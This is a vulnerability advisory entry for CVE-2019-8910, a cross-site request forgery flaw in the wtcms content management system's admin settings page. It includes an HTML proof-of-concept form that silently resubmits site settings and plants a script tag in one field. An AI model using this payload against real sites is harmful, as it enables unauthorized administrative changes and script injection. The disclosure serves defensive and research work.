#VU21312 Cross-site request forgery in wtcms - CVE-2019-8910 

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Main Vulnerability Database Vulnerabilities #VU21312

#VU21312 Cross-site request forgery in wtcms - CVE-2019-8910

Published: September 24, 2019


Vulnerability identifier: #VU21312
Vulnerability risk: Low
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Clear
CVE-ID: CVE-2019-8910
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vulnerable software:
wtcms
Software vendor:
taosir

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php?g=admin&m=setting&a=site_post". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as obtain administrator cookie.

PoC: 

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[host]/index.php?g=admin&m=setting&a=site_post" method="POST">
      <input type="hidden" name="options&#91;site&#95;name&#93;" value="test" />
      <input type="hidden" name="option&#95;id" value="10" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;url&#95;password&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tpl&#93;" value="default" />
      <input type="hidden" name="options&#91;site&#95;adminstyle&#93;" value="flat" />
      <input type="hidden" name="options&#91;site&#95;icp&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;email&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tongji&#93;" value="&lt;script&gt;alert&#40;&quot;test&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="options&#91;site&#95;copyright&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;title&#93;" value="�&#191;&#189;�&#184;�&#187;�&#191;&#189;�&#161;�&#191;&#189;" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;keywords&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;description&#93;" value="" />
      <input type="hidden" name="options&#91;urlmode&#93;" value="0" />
      <input type="hidden" name="options&#91;html&#95;suffix&#93;" value="" />
      <input type="hidden" name="options&#91;comment&#95;time&#95;interval&#93;" value="60" />
      <input type="hidden" name="cmf&#95;settings&#91;banned&#95;usernames&#93;" value="" />
      <input type="hidden" name="cdn&#95;settings&#91;cdn&#95;static&#95;root&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Remediation

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

External links